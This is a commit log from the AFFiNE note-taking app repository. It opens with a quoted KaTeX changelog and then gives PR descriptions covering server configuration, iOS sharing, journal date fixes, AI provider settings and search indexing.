- MathML combines multidigit numbers with sup/subscript, comma
separators, and multicharacter text when outputting to DOM
([#&#8203;3999](https://redirect.github.com/KaTeX/KaTeX/issues/3999))
([7d79e22](https://redirect.github.com/KaTeX/KaTeX/commit/7d79e220f465c42d4334dc95f1c41e333667e168)),
closes
[#&#8203;3995](https://redirect.github.com/KaTeX/KaTeX/issues/3995)

####
[0.16.16](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.15...v0.16.16)
(2024-12-17)

##### Features

- ESM exports, TypeScript types
([#&#8203;3992](https://redirect.github.com/KaTeX/KaTeX/issues/3992))
([ea9c173](https://redirect.github.com/KaTeX/KaTeX/commit/ea9c173a0de953b49b2ce5d131e88b785f5dffa1))

####
[0.16.15](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.14...v0.16.15)
(2024-12-09)

##### Features

- italic sans-serif in math mode via `\mathsfit` command
([#&#8203;3998](https://redirect.github.com/KaTeX/KaTeX/issues/3998))
([2218901](https://redirect.github.com/KaTeX/KaTeX/commit/22189018b63c9312ec4ad126804514a7390d60b5))

####
[0.16.14](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.13...v0.16.14)
(2024-12-08)

##### Features

- \dddot and \ddddot support
([#&#8203;3834](https://redirect.github.com/KaTeX/KaTeX/issues/3834))
([bda35cd](https://redirect.github.com/KaTeX/KaTeX/commit/bda35cdb0a6bbbc52dd27c79e4d984688be3b745)),
closes
[#&#8203;2744](https://redirect.github.com/KaTeX/KaTeX/issues/2744)

####
[0.16.13](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.12...v0.16.13)
(2024-12-08)

##### Bug Fixes

- `\vdots` and `\rule` support in text mode
([#&#8203;3997](https://redirect.github.com/KaTeX/KaTeX/issues/3997))
([0e08352](https://redirect.github.com/KaTeX/KaTeX/commit/0e0835262345d991df61a435800a16b069a4d5c7)),
closes
[#&#8203;3990](https://redirect.github.com/KaTeX/KaTeX/issues/3990)

####
[0.16.12](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.11...v0.16.12)
(2024-12-08)

##### Features

- **css:** configurable margin for display math
([#&#8203;3638](https://redirect.github.com/KaTeX/KaTeX/issues/3638))
([3405001](https://redirect.github.com/KaTeX/KaTeX/commit/3405001225b8ee0cf8b35b2e3a6c1fa2191e5fef))

####
[0.16.11](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.10...v0.16.11)
(2024-07-02)

##### Features

- add \emph
([#&#8203;3963](https://redirect.github.com/KaTeX/KaTeX/issues/3963))
([9f34da4](https://redirect.github.com/KaTeX/KaTeX/commit/9f34da4b3cf228a7af8134c394394d780a089f2b)),
closes
[#&#8203;3566](https://redirect.github.com/KaTeX/KaTeX/issues/3566)

####
[0.16.10](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.9...v0.16.10)
(2024-03-24)

##### Bug Fixes

- \edef bypassing maxExpand via exponential blowup
([e88b4c3](https://redirect.github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34))
- escape \includegraphics src and alt
([c5897fc](https://redirect.github.com/KaTeX/KaTeX/commit/c5897fcd1f73da9612a53e6b5544f1d776e17770))
- force protocol to be lowercase for better protocol filtering
([fc5af64](https://redirect.github.com/KaTeX/KaTeX/commit/fc5af64183a3ceb9be9d1c23a275999a728593de)),
closes
[/datatracker.ietf.org/doc/html/rfc3986#section-3](https://redirect.github.com//datatracker.ietf.org/doc/html/rfc3986/issues/section-3)
- maxExpand limit with Unicode sub/superscripts
([085e21b](https://redirect.github.com/KaTeX/KaTeX/commit/085e21b5da05414efefa932570e7201a7c70e5b2))

####
[0.16.9](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.8...v0.16.9)
(2023-10-02)

##### Features

- Support bold Fraktur
([#&#8203;3777](https://redirect.github.com/KaTeX/KaTeX/issues/3777))
([240d5ae](https://redirect.github.com/KaTeX/KaTeX/commit/240d5aede915e0303929a9328745b1060e12004a))

####
[0.16.8](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.7...v0.16.8)
(2023-06-24)

##### Features

- expose error length and raw error message on ParseError
([#&#8203;3820](https://redirect.github.com/KaTeX/KaTeX/issues/3820))
([710774a](https://redirect.github.com/KaTeX/KaTeX/commit/710774aaebb38f43b1ec51c159fe9b9520c91424))

####
[0.16.7](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.6...v0.16.7)
(2023-04-28)

##### Bug Fixes

- **docs/support_table.md:** delete redundant "varPsi"
([#&#8203;3814](https://redirect.github.com/KaTeX/KaTeX/issues/3814))
([33a1b98](https://redirect.github.com/KaTeX/KaTeX/commit/33a1b98710c880d2d4a67aa0048f027a94b85702))

####
[0.16.6](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.5...v0.16.6)
(2023-04-17)

##### Bug Fixes

- Support `\let` via `macros` option
([#&#8203;3738](https://redirect.github.com/KaTeX/KaTeX/issues/3738))
([bdb0be2](https://redirect.github.com/KaTeX/KaTeX/commit/bdb0be201794d22adaee05438b07a2830efea9da)),
closes
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)

####
[0.16.5](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.4...v0.16.5)
(2023-04-17)

##### Features

- \_\_defineFunction API exposing internal defineFunction
([#&#8203;3805](https://redirect.github.com/KaTeX/KaTeX/issues/3805))
([c7b1f84](https://redirect.github.com/KaTeX/KaTeX/commit/c7b1f84b7801a29dffdfa3db0ff35de289db80c0)),
closes
[#&#8203;3756](https://redirect.github.com/KaTeX/KaTeX/issues/3756)

####
[0.16.4](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.3...v0.16.4)
(2022-12-07)

##### Bug Fixes

- space should prevent optional argument to \
([#&#8203;3746](https://redirect.github.com/KaTeX/KaTeX/issues/3746))
([a0deb34](https://redirect.github.com/KaTeX/KaTeX/commit/a0deb3410fd92340556fc4c9edb8ab586077e5bf)),
closes
[#&#8203;3745](https://redirect.github.com/KaTeX/KaTeX/issues/3745)

####
[0.16.3](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.2...v0.16.3)
(2022-10-22)

##### Bug Fixes

- \hline after \cr
([#&#8203;3735](https://redirect.github.com/KaTeX/KaTeX/issues/3735))
([ebf6bf5](https://redirect.github.com/KaTeX/KaTeX/commit/ebf6bf5b50a98ac6c5aca1896c0a6ba985c1c91c)),
closes
[#&#8203;3734](https://redirect.github.com/KaTeX/KaTeX/issues/3734)

####
[0.16.2](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.1...v0.16.2)
(2022-08-29)

##### Bug Fixes

- **auto-render:** concatenate content of successive text nodes
([#&#8203;3422](https://redirect.github.com/KaTeX/KaTeX/issues/3422))
([4d3fdd8](https://redirect.github.com/KaTeX/KaTeX/commit/4d3fdd8647a1c320dc7bcb9c9ea2af81379f700d))
- Implement \pmb via CSS text-shadow
([#&#8203;3505](https://redirect.github.com/KaTeX/KaTeX/issues/3505))
([176552a](https://redirect.github.com/KaTeX/KaTeX/commit/176552a69183d71425b491d4cc2fa1d462a1246a))

####
[0.16.1](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.0...v0.16.1)
(2022-08-28)

##### Bug Fixes

- Use SVGs for some stacked delims
([#&#8203;3686](https://redirect.github.com/KaTeX/KaTeX/issues/3686))
([8a65a2e](https://redirect.github.com/KaTeX/KaTeX/commit/8a65a2e1fd69ffeee2fac62229f9f05ebf6afd45))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:05:33 +08:00
DarkSky 7afb62d5b4 feat(server): improve config loading (#15649)
fix #15650
fix #15530
fix #15534
fix #15506


#### PR Dependency Tree


* **PR #15649** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## Summary

* **New Features**
* Admin settings show configuration sources and secret status, conceal
secret values, and allow database-level overrides to be cleared.
* Self-hosted deployments can automatically upgrade existing
configuration files.
* **Improvements**
* Configuration changes apply without restarting the server, and storage
settings reload automatically.
* Uploads support runtime-managed proxy settings and signed upload
tokens.
  * Incomplete managed Copilot profiles are disabled during migration.
* Saving an AI response as a document more reliably targets the matching
editor.
* **Documentation**
* The CLI clarifies that imported configuration changes take effect
after the next server start.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-30 00:39:36 +08:00
DarkSky 164a84ffe0 fix(core): copilot feature determined mcp visible (#15645)
fix #15644

#### PR Dependency Tree


* **PR #15645** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
  * The MCP Server integration now appears only when Copilot is enabled.
* MCP credential queries and create, rotate, and revoke actions are
rejected while Copilot is disabled.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-25 21:15:33 +08:00
DarkSky 7dd71162b5 feat(native): support multi remote source (#15642) 2026-09-25 20:27:16 +08:00
DarkSky d897bb3d84 chore: bump deps (#15624) 2026-09-20 13:01:49 +08:00
Leo CamusandDarkSky 2662f61b3b fix(core): clamp journal date suggestions to the length of the month (#15606)
## Description

I was reading the journal date suggestions and noticed that
`suggestJournalDate` bounds the parsed day with a hardcoded 31 before
building the date string:

```ts
let day = numbers ? parseInt(numbers) : dayjs().date();
const invalidDay = day < 1 || day > 31;
...
dayjs(`${year}-${month}-${day}`)
```

31 is the length of the longest month, so the guard lets through every
day that is valid in December but not in the month the user actually
typed. dayjs does not reject the overflow — it rolls it into the
following month. On `canary` that gives:

- `feb 30` → `2026-03-02`
- `apr 31` → `2026-05-01`
- on the 31st of a month, a plain `feb` (the case that is meant to keep
today's day) → `2026-03-03`

So a query naming February can land in March, and the suggestion quietly
points at a month the user did not ask for. The existing `dec 33` test
covers the intent — an out-of-range day falls back to today's day — but
December has 31 days, so it never reaches this path.

This bounds the day by the length of the matched month instead, and
clamps the fallback the same way, so asking for `feb` on the 31st of a
month stays inside February (`2026-02-28`) rather than jumping to
`2026-03-03`. Nothing outside `suggestJournalDate` changes.

The two tests added to `suggest-date.spec.ts` fail on the current code:

```
× a day past the end of the month falls back inside that month
  expected { dateString: '2026-03-02' } to deeply equal { dateString: '2026-02-16' }
× today's day is clamped to the end of a shorter month
  expected { dateString: '2026-03-03' } to deeply equal { dateString: '2026-02-28' }
Tests  2 failed | 16 passed (18)
```

and pass with the fix, along with the rest of the journal module (`23
passed`). `oxlint --deny-warnings` and `oxfmt --check` are clean on both
files. I left the `yarn lint` / `yarn typecheck` box unchecked: `yarn
typecheck` reports 684 errors in my environment, all in
`packages/backend/server` (the Prisma client isn't generated here) and
`packages/frontend/templates`, none in `packages/frontend/core` or in
the two files touched.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **Bug Fixes**
- Improved journal date suggestions for months with fewer than 31 days.
- Invalid dates, such as February 30 or 31, now resolve to valid dates
within the selected month.
- Suggested dates are capped at the final day of the selected month when
today’s day number exceeds that month’s length.
- February suggestions now correctly account for both leap years and
non-leap years.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-09-19 20:00:04 +08:00
DarkSky 17a9c3c4c5 fix: missing features (#15614)
#### PR Dependency Tree


* **PR #15614** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- OAuth availability now reflects whether active OAuth providers are
configured.
- Payment functionality now automatically follows the payment enablement
setting, including configuration changes.
- Subscription plan settings now validate required Pro and Team pricing
before displaying plans.

- **Bug Fixes**
- Added a retry option when plan pricing cannot be loaded or validated.
- Improved invitation notification handling to ensure notifications
appear reliably after inviting a workspace member.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-18 14:09:15 +08:00
keepClamDownandDarkSky 2af30773ae feat(ios): add stable Share Extension imports (#15547)
## Summary

The changes below are prepared locally and have not been committed or
pushed.

- Save original URLs, user titles, selected text, images and PDFs
through a versioned, file-backed Share Inbox. Stable document/attempt
IDs, serialized imports and committed receipts make retries preserve
user edits and recover native completion.
- Keep rich previews transient. Share previews request transcript
excerpts, clip optional display fields and bound response/image
downloads. Saving does not wait for preview requests or persist provider
metadata, transcript snapshots or dedicated preview blobs.
- Restore the minimal App Group workspace-mode snapshot and
`official`/`deferred` route. Official routes remain fixed for the
pending share; deferred self-hosted previews use the selected server
without a provider fallback.
- Let bookmark and YouTube details read the current workspace's Link
Preview API by URL. Full transcripts, chapters and timestamps load on
expansion without document writes. Reuse editor styles and the existing
portal for canvas details; isolate endpoint/base/transcript caches and
keep transcript results out of persistent cache.

## Validation

- Focused frontend suites: 128 tests passed; the 43 preview/details
cases also passed after the final portal change.
- `ShareInboxSafetyTests`: 57 tests passed on iOS 26.5 simulator.
- `yarn typecheck` and full `yarn lint` passed.
- iOS web bundle, Capacitor asset copy, and signed simulator App build
with embedded ShareExtension passed.
- Browser component checks: desktop, narrow viewport, light/dark themes,
full transcript scrolling, canvas portal positioning and Escape
dismissal.
- Simulator Safari share: rich preview, cancellation, native-to-app
handoff, workspace selection and successful save. The pending manifest
contained original content and routing only, and was removed after
import.

Physical-device and network-capture matrices remain manual. The
simulator YouTube iframe displayed player error 153; this is separate
from the successful preview/import checks and video playback is not
claimed as verified.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* iOS sharing now supports PDF files alongside images, with previews and
attachment validation.
* Share imports offer improved workspace selection, offline handling,
retry recovery, and clearer error messages.
* Link previews can display expandable metadata and transcript details
for bookmarks and YouTube embeds.
* Share inbox entries now identify unsupported versions and provide
safer attachment resolution.

* **Bug Fixes**
* Improved cancellation, cleanup, and stale-request handling during
sharing and importing.
* Enhanced link-preview validation and protection against oversized or
invalid responses.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-09-15 14:55:04 +08:00
DarkSky 51fdf602ba feat(core): adapt new lifecycle (#15575)
fix #15574


#### PR Dependency Tree


* **PR #15575** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## New Features
* Added source-aware blob handling for current documents and page
history.
* Added document lifecycle support for trashing, restoring, and
permanently deleting documents.
* Copilot attachments now upload directly to session attachment
endpoints.

## Bug Fixes
* Document actions now complete before confirmations, notifications, and
navigation proceed.
* Improved cancellation, upload fallback, size-limit handling, and cloud
synchronization reliability.
* Invite-link expiration now remains reliable for long durations.
* Improved synchronization for document permissions and reserved
documents.

## Changes
* Blob management now displays attachment icons instead of image
previews.
* Cloud synchronization now uses a unified batch protocol.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-09 23:00:06 +08:00
DarkSky 8c5937111b feat(server): migrate legacy impl (#15571)
#### PR Dependency Tree


* **PR #15571** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added Copilot session attachments, scoped access controls,
personal-workspace support, and automatic title generation.
- Added self-hosted license compatibility, license portal access, and
external license-key configuration.
- Added reservation-based storage uploads and workspace storage
reconciliation.
- Added permissions for previews, history, analytics, moderation, and
workspace storage.

- **Changes**
- Removed the admin queue dashboard and queue-based background
processing.
- Updated blob, comment-attachment, payment, and calendar
synchronization workflows.
- Improved redirect validation, preview indexing, and synchronization
error reporting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-08 23:21:00 +08:00
Whitewater f78e46f90e feat: add select all action to trash (#15556)
<img width="284" height="132" alt="image"
src="https://github.com/user-attachments/assets/a11f1919-ac91-4f87-b03d-4fab6e8cba7e"
/>


## Description

Add a select-all action next to the Trash page title after document
multi-selection starts.

- Select every unique document ID from the explorer groups, including
items outside the rendered viewport.
- Change the action to Clear selection when every Trash document is
selected.
- Reuse the existing Trash bulk-operation permissions without
introducing artificial grouping.

## Testing

- Trash page Playwright E2E: 2 passed
- Targeted TypeScript project build
- lint-staged
- lint:ox
- oxfmt --check
- git diff --check

## Checklist

- [x] I have signed the AFFiNE Contributor License Agreement
- [x] The PR targets the canary branch and its title follows
Conventional Commits
- [x] Tests are added or updated where it makes sense
- [ ] Full yarn lint and yarn typecheck pass locally

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **New Features**
- Added a select-all and clear-selection control to the Trash view when
multiple documents can be managed.
  - Select-all actions now update the document selection toolbar.

- **Bug Fixes**
- Improved Trash view controls for users with administrator or owner
permissions.

- **Tests**
- Added end-to-end coverage for selecting, selecting all, and clearing
multiple trashed documents.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-02 21:01:45 +08:00
DarkSky 4953682779 feat(server): support switching accounts when accepting an invitation (#15542)
#### PR Dependency Tree


* **PR #15542** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **New Features**
  - Invitation links now require sign-in to view or accept.
- Added guidance when an invitation belongs to a different account, with
options to switch accounts or return to AFFiNE.
  - Sign-in preserves the invitation link when switching accounts.

- **Bug Fixes**
- Invitation errors now display accurate messages instead of generic
errors.
  - Improved handling of expired, invalid, and missing invitations.
- Invitation status checks now work correctly for authenticated
invitees.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-28 12:50:09 +08:00
DarkSky b6de0ad51b feat(ios): improve share preview (#15538)
#### PR Dependency Tree

* **PR #15538** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added rich link previews to mobile and iOS sharing, including images,
metadata, transcripts, and selected text.
* Share imports can now create structured content blocks, embeds,
bookmarks, and transcript callouts.
* Added workspace-aware preview handling for cloud, self-hosted, and
signed-out modes.
* **Accessibility**
* Improved collapse/expand controls with semantic buttons and ARIA
relationships.
* **Bug Fixes**
  * Enhanced URL and error sanitization in server logs.
* Improved link-preview CORS support, validation, and request handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-28 03:32:26 +08:00
keepClamDownandDarkSky 329839e467 feat(ios): add share to support (#15340)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Added iOS sharing for URLs, text, web pages, and images.
* Shared content can be reviewed, titled, and saved to an AFFiNE
workspace.
  * Choose destinations including workspaces, tags, and collections.
* Added previews, attachment handling, import status, retry support, and
success/error feedback.
* Pending shares are processed when AFFiNE opens or returns to the
foreground.
* **Bug Fixes**
* Improved workspace profile handling across different workspace types.
* Onboarding completion is now recorded immediately after successful
sign-in verification.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-08-27 19:09:51 +08:00
DarkSky ca056ae7b9 feat(ios): cleanup ui (#15535) 2026-08-27 17:53:36 +08:00
keepClamDownandDarkSky cd6593c659 fix(ios): ios local access limit for self-hosted workspace (#15338)
## Summary
- Route iOS nbstore worker token reads through the main-thread
MessagePort and skip Capacitor Auth on `/socket.io` polling so self-host
WebSocket/XHR sync no longer hangs on Connect timeout.
- Harden workspace `flavour:id` routing, DocSyncPeer abort/status
handling, and `resetSync` so local selfhost edits push and Mac browsers
can receive them.
- Soften root-doc readiness waits and session-exchange throttling to
keep mobile selfhost sign-in/sync stable under retries.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## Summary by CodeRabbit

* **New Features**
* Improved workspace switching across local and remote environments,
preserving workspace type and server context.
  * Added support for page navigation with query parameters.
* Added iOS local-network permission messaging for self-hosted
workspaces.
* **Bug Fixes**
* Improved document synchronization, reset handling, prioritized
document refreshes, and retry behavior.
* Prevented authentication headers and refresh attempts for socket
connection requests.
* Improved workspace reopening and routing when multiple workspace types
share an ID.
  * Fixed handling of unlimited data query limits.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-08-24 09:33:58 +08:00
DarkSky b530198a3b feat(server): improve indexer perf (#15512)
#### PR Dependency Tree


* **PR #15512** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Search now supports generation-based indexing with embedded and remote
providers.
* Added automatic search reconciliation and improved handling of
document, workspace, and permission changes.
* Added clearer search status errors for unavailable, syncing, unready,
or failed indexes.
* Added Manticore Search end-to-end support and provider-specific search
behavior.

* **Improvements**
* Search and aggregate pagination now report returned results and
continuation status more accurately.
* Improved permission filtering to prevent inaccessible documents from
appearing in results.
  * Admin provider selection now consistently enables indexing.

* **Documentation**
* Clarified search pagination, aggregation counts, provider
configuration, and end-to-end setup.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-23 17:54:49 +08:00
DarkSky dec1a01449 fix(server): improve self hosted usability (#15510)
fix #15505
fix #15502
fix #15496
fix #15491

#### PR Dependency Tree


* **PR #15510** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added configurable delays for invitations, invite links, and document
publishing by newly created accounts.
- Added workspace action checks that explain blocked actions and retry
timing.
- BYOK setup now verifies model capabilities and saves only validated
options.

- **Bug Fixes**
- Improved BYOK probing for chat, structured responses, tool calls,
embeddings, reranking, and image generation.
  - Preserved probe request order and strengthened response validation.
  - Authentication configuration changes now reload correctly.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-22 04:47:21 +08:00
keepClamDownandDarkSky 73e2d10973 feat(ios): polish onboarding and native sign-in flow (#15217)
## Summary
- Reworks the iOS onboarding, native sign-in, and paywall flow so
first-install and cold-start entry stay native, adaptive, and aligned
with the current login/subscription gates.
- Removes onboarding swipe paging, refines onboarding/paywall layout
behavior, and keeps AI/paywall entry behavior consistent for logged-in
and subscribed users.
- Adds the new mobile all-docs empty states with localized copy and
dialog entry points, and closes the remaining review follow-ups by
removing the onboarding plan artifact and dropping the iOS AI
subscription bypass.

## Test plan
- Built the iOS app for simulator with `xcodebuild -workspace
App.xcworkspace -scheme App -configuration Debug -sdk iphonesimulator
-destination 'generic/platform=iOS Simulator' ARCHS=arm64
ONLY_ACTIVE_ARCH=YES CODE_SIGNING_ALLOWED=NO CODE_SIGNING_REQUIRED=NO
build` during the native onboarding/sign-in flow work.
- Let the repo pre-commit hooks run on the latest follow-up commit
(`prettier` + `eslint --fix`).
- Checked diagnostics for the edited TS/TSX files after the review
follow-up changes.
- Manually iterated on onboarding/native sign-in/paywall UI states in
simulator during implementation.

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-08-21 08:12:27 +08:00
DarkSky c57004ea2c refactor(server): indexer & worker & sync perf (#15504) 2026-08-21 08:11:37 +08:00
keepClamDownandDarkSky d6fd3174b2 feat(ios): refresh mobile settings layout (#15234)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Redesigned mobile Settings with localized sections, promotional
content, support actions, subscription access, and improved account
controls.
- Added sign-in prompts for signed-out users and clearer device-session
handling.
- Added a guided account-deletion flow with email confirmation and
completion messaging.
- Added App Store, download, team invitation, rating, and external
support links.
- **Bug Fixes**
- Improved interactive row behavior, keyboard accessibility, navigation,
and subscription availability.
  - Prevented account deletion for unresolved team owners.
- **Style**
- Refreshed mobile settings, subscription, profile, and promotional card
layouts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-08-19 10:30:37 +08:00
DarkSky 047db0fa3e fix(core): audio block job 2026-08-16 14:22:12 +08:00
DarkSky 06b3d020fa feat(server): realtime handle & migration (#15487)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Retry failed Copilot transcription tasks in real time.
  * Retried tasks resume processing and report updated status.
* Managed Copilot provider models can be omitted to use provider
defaults.

* **Bug Fixes**
* Improved handling of incomplete BYOK profiles, including safe
replacement of legacy records.
  * Duplicate profile creation now returns a clear validation error.
* Improved transcript processing reliability by preventing duplicate or
stale dispatches.

* **Migration**
* Consolidated legacy managed-provider settings while preserving
existing profiles and defaults.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-16 08:04:19 +08:00
DarkSky 18977f2048 fix(core): transcript cannot retry (#15476)
#### PR Dependency Tree


* **PR #15476** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Improved connectivity for AI services configured with a global
location while preserving support for regional locations.
- Failed audio transcription jobs can now be restarted without
recreating the job.
- Preserved existing behavior for transcription jobs that are still
waiting or already in other non-retryable states.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-13 02:42:34 +08:00
Axel Levy 26c515e050 fix(core): exclude trashed docs from journal lookups (#15461)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Trashed journals are now excluded from journal date lists and
date-based searches.
* Journal dates automatically reappear when a journal is restored from
the trash.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-11 03:10:40 +08:00
DarkSky 0c7b20dc18 chore: migrate oxlint & oxfmt (#15464)
#### PR Dependency Tree


* **PR #15464** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Replaced the project’s formatting and linting workflow with Oxfmt and
Oxlint.
* Added shared formatting and linting configuration, editor integration,
and updated automated checks.
* Updated generated files, scripts, and lint guidance to use the new
tooling.

* **Style**
* Reformatted templates, source code, examples, and configuration files
for consistent readability.
  * No user-facing functionality or rendering behavior changed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-10 23:51:28 +08:00
DarkSky 749c83cd8e feat(core): improve reconnect handling (#15458)
#### PR Dependency Tree


* **PR #15458** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved realtime connection recovery with progressively longer retry
delays, capped to prevent excessive waiting.
* Connection retries now reset after successful reconnection and stop
cleanly when no longer needed.
* Reduced false error alerts by confirming repeated failures before
notifying users.
* Added cancellation handling when connection context changes or the
service is closed.

* **User Experience**
* Realtime connection alerts now identify authentication, network,
server, and timeout issues with localized messages.
* Active alerts are automatically dismissed when the connection
recovers.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-10 21:44:24 +08:00
DarkSky ee899a267b feat(server): improve context management (#15448)
#### PR Dependency Tree


* **PR #15448** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added workspace artifact upload, browsing, removal, deduplication, and
library ownership support.
* Copilot now supports scoped document and artifact search, canvas
reading, live editor context, and frontend tools.
* Added scope and focus selectors with source-resolution receipts in
chat.
* Added embedding health, progress, synchronization, and retrieval
capabilities.
* Added BYOK policy visibility, provider restrictions, endpoint dialect
selection, and validation.
* Added delegated editor interactions and userdata document
authorization.

* **Bug Fixes**
* Improved attachment handling, cancellation, access control, retrieval
fallbacks, workspace synchronization, and configuration validation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-10 09:27:58 +08:00
DarkSky 543667d9b3 feat(core): improve byok editing (#15427)
fix #14287
fix #15359
fix #15424

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Redesigned workspace AI provider settings with connection testing,
storage options, model selection, capability management, ordering, and
custom endpoints.
* AI chat model choices now adapt to the selected workspace and
conversation route.
  * Added support for image-based AI requests.
* **Bug Fixes**
  * Improved handling of unavailable or outdated model selections.
* App configuration updates now reject overlapping paths and load
deterministically.
* **Tests**
* Expanded coverage for provider models, AI chat scoping, image
requests, and configuration validation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-05 19:26:19 +08:00
